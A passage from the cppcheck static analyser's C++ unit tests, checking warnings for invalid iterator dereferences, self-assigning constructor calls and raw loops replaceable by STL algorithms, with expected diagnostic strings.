s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int 